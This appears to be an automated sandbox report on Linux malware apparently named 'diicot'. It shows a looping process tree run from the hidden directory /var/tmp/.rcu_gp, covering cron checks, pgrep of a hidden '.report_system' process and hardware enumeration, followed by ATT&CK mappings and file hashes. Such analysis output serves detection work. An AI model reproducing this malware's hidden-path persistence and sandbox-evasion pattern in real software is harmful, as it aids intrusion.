/usr/bin/crontabcrontab -l2⤵PID:7494
-
-
/usr/bin/sleepsleep 2.52⤵PID:7496
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7497
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7498
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
PID:7499
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7500
-
-
/usr/bin/grepgrep -q .main2⤵PID:7501
-
-
/usr/bin/sleepsleep 2.52⤵PID:7502
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7503
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7504
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7505
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7506
-
-
/usr/bin/grepgrep -q .main2⤵PID:7507
-
-
/usr/bin/sleepsleep 2.52⤵PID:7508
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7509
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7510
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7511
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7512
-
-
/usr/bin/grepgrep -q .main2⤵PID:7513
-
-
/usr/bin/sleepsleep 2.52⤵PID:7514
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7515
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7516
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7517
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7518
-
-
/usr/bin/grepgrep -q .main2⤵PID:7519
-
-
/usr/bin/sleepsleep 2.52⤵PID:7520
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7521
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7522
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7523
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7524
-
-
/usr/bin/grepgrep -q .main2⤵PID:7525
-
-
/usr/bin/sleepsleep 2.52⤵PID:7526
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7527
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7528
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7529
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:7531
-
-
/usr/bin/crontabcrontab -l2⤵PID:7530
-
-
/usr/bin/sleepsleep 2.52⤵PID:7532
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7533
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7534
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:7535
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7536
-
-
/usr/bin/grepgrep -q .main2⤵PID:7537
-
-
/usr/bin/sleepsleep 2.52⤵PID:7538
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7539
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7540
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7541
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7542
-
-
/usr/bin/grepgrep -q .main2⤵PID:7543
-
-
/usr/bin/sleepsleep 2.52⤵PID:7544
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7545
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7546
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7547
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7548
-
-
/usr/bin/grepgrep -q .main2⤵PID:7549
-
-
/usr/bin/sleepsleep 2.52⤵PID:7550
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7553
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7554
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7555
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7556
-
-
/usr/bin/grepgrep -q .main2⤵PID:7557
-
-
/usr/bin/sleepsleep 2.52⤵PID:7558
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7559
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7560
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7561
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7562
-
-
/usr/bin/grepgrep -q .main2⤵PID:7563
-
-
/usr/bin/sleepsleep 2.52⤵PID:7564
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7565
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7566
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7567
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7568
-
-
/usr/bin/grepgrep -q .main2⤵PID:7569
-
-
/usr/bin/sleepsleep 2.52⤵PID:7570
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7571
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7572
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7573
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7574
-
-
/usr/bin/grepgrep -q .main2⤵PID:7575
-
-
/usr/bin/sleepsleep 2.52⤵PID:7576
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7577
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7578
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
PID:7579
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7580
-
-
/usr/bin/grepgrep -q .main2⤵PID:7581
-
-
/usr/bin/sleepsleep 2.52⤵PID:7582
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7583
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7584
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7585
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7586
-
-
/usr/bin/grepgrep -q .main2⤵PID:7587
-
-
/usr/bin/sleepsleep 2.52⤵PID:7588
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7589
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7590
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7591
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7592
-
-
/usr/bin/grepgrep -q .main2⤵PID:7593
-
-
/usr/bin/sleepsleep 2.52⤵PID:7594
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7595
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7596
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7597
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7598
-
-
/usr/bin/grepgrep -q .main2⤵PID:7599
-
-
/usr/bin/sleepsleep 2.52⤵PID:7600
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7601
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7602
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7603
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7604
-
-
/usr/bin/grepgrep -q .main2⤵PID:7605
-
-
/usr/bin/sleepsleep 2.52⤵PID:7606
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7607
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7608
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7609
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7610
-
-
/usr/bin/grepgrep -q .main2⤵PID:7611
-
-
/usr/bin/sleepsleep 2.52⤵PID:7612
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7613
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7614
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7615
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7616
-
-
/usr/bin/grepgrep -q .main2⤵PID:7617
-
-
/usr/bin/sleepsleep 2.52⤵PID:7618
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7619
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7620
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7621
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7622
-
-
/usr/bin/grepgrep -q .main2⤵PID:7623
-
-
/usr/bin/sleepsleep 2.52⤵PID:7624
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7625
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7626
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7627
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7628
-
-
/usr/bin/grepgrep -q .main2⤵PID:7629
-
-
/usr/bin/sleepsleep 2.52⤵PID:7630
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7631
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7632
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7633
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:7635
-
-
/usr/bin/crontabcrontab -l2⤵PID:7634
-
-
/usr/bin/sleepsleep 2.52⤵PID:7636
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7637
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7638
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7639
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7640
-
-
/usr/bin/grepgrep -q .main2⤵PID:7641
-
-
/usr/bin/sleepsleep 2.52⤵PID:7642
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7643
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7644
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7645
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7646
-
-
/usr/bin/grepgrep -q .main2⤵PID:7647
-
-
/usr/bin/sleepsleep 2.52⤵PID:7648
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7649
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7650
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
PID:7651
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7652
-
-
/usr/bin/grepgrep -q .main2⤵PID:7653
-
-
/usr/bin/sleepsleep 2.52⤵PID:7654
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7655
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7656
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7657
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7658
-
-
/usr/bin/grepgrep -q .main2⤵PID:7659
-
-
/usr/bin/sleepsleep 2.52⤵PID:7660
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7661
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7662
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7663
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7664
-
-
/usr/bin/grepgrep -q .main2⤵PID:7665
-
-
/usr/bin/sleepsleep 2.52⤵PID:7666
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7667
-
-
/var/tmp/.rcu_gp/.report_system/var/tmp/.rcu_gp/./.report_system1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7333
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
317B
MD59214a241181e63148a8eaa9f09186863
SHA1f38f0c8270bfabe86db54a5fd8fcf509c040b2dc
SHA256bad96ecbdfaf3af25a4f8c50e2773398dedc5a1e813fe4e8ce502389cc4f05c9
SHA5125c4e95fd9f7a831985672565654e2c2a922050782b9dc6d775bdeac991bc04989e987581b333de0d41f2ed68275d262327d42c86d117f4e4873ab0a0740a13d3
-
Filesize
17B
MD5ed41f347e368587902ee39ae0820e4f3
SHA155fc93606d1c801650fb68c85b4535658f44e51b
SHA256fadf3c99404046418d249eca29c985b40bf34d6bb6000f32bb73f39e0d6e5016
SHA5125ccd1805d59b3d114eeaaee5a422d4d37c9e7c0629ecfe43111b9c1512c3dbb649fc97e50c4c6d74ac05a0c34b4b53e4924a0dbf4decec83c1db7faed890a607
-
Filesize
31B
MD53849d2e2d4fbd74bf13c86237e5f8257
SHA11a1d605574d84531c36967e62c50387af56ec048
SHA2565a91635ed578ff1552d71f49009f5d507273b42d926960b44d952bf659c4b64e
SHA51206ee5e3db69f1cff254e46e77d6e10ab92729e3fb9dc7f961fc438d98d3fdb00a86b76e05c79215b3a7e4f25ba821285edb1ff8a8a8a76cc9f38b501891d9497
-
Filesize
76B
MD5268448409cd2df039233e116f5ff4cfd
SHA16df0a74b2cef2974dbd8422b027a29a40a5f9ad8
SHA25600293284adf5483c18ab9f69f92f52fb35568bab00ee7e4f70a490e779ddc3e8
SHA512774b981b5c388924868f10a61d1e7bc2a4207acef8bd02134d675e2197dd6590ab643201db9d1e5e700fa5d3b83a0f1d53d69c216c3b17dec5c4aec90799609c
-
Filesize
122B
MD5fc16ad6d39c8c6669ea14e35610d398b
SHA10644c85527d59857d780c26d9db9c585066a9f1a
SHA256d1e064e763215d12123c8711c37a070a6ba95c9458c0f980a308ffbd00863493
SHA512f219d7a9f1b7c35a1e4be974a62fd7a566c209f8261e06183cf9375925185c0d2e286df2f76fcec941c370738622bd592d1f398b852dda43dafd90d0bb64fe70
-
Filesize
8.2MB
MD500e388ceb8a82839ab020c0f00796095
SHA123b4374fd00bce863bef82db39be0e3e24bd10c8
SHA256e7fb73cd8aac3a731f7225b565e2f2094c40b22909a8e593117d6385947839c3
SHA51258496752298e5a4ab875d0f37837c758fd828779129d389fb67b8c8c78036200f692cb1c1b5a4176bc0345af136cf24b9aebb7127a5c42a313d6de2514f79d52
-
Filesize
138B
MD5f45f493236ade67c79d8337a54ee9b08
SHA19af31951b0f22b873d9753a3eeb460045e29e8b7
SHA256fd9a67520b2bdd386f6d4918dedf97bf16ca017b5e42790a0ed82eca336a6359
SHA512b9b10e26a118d95e85690f2c9c67dc81baf0bfc3ddabbc3e0553a4a1d04a4c9def0867017b269e5af0f94f319686db9adc8e87fca483d98c32a8733692c35ac4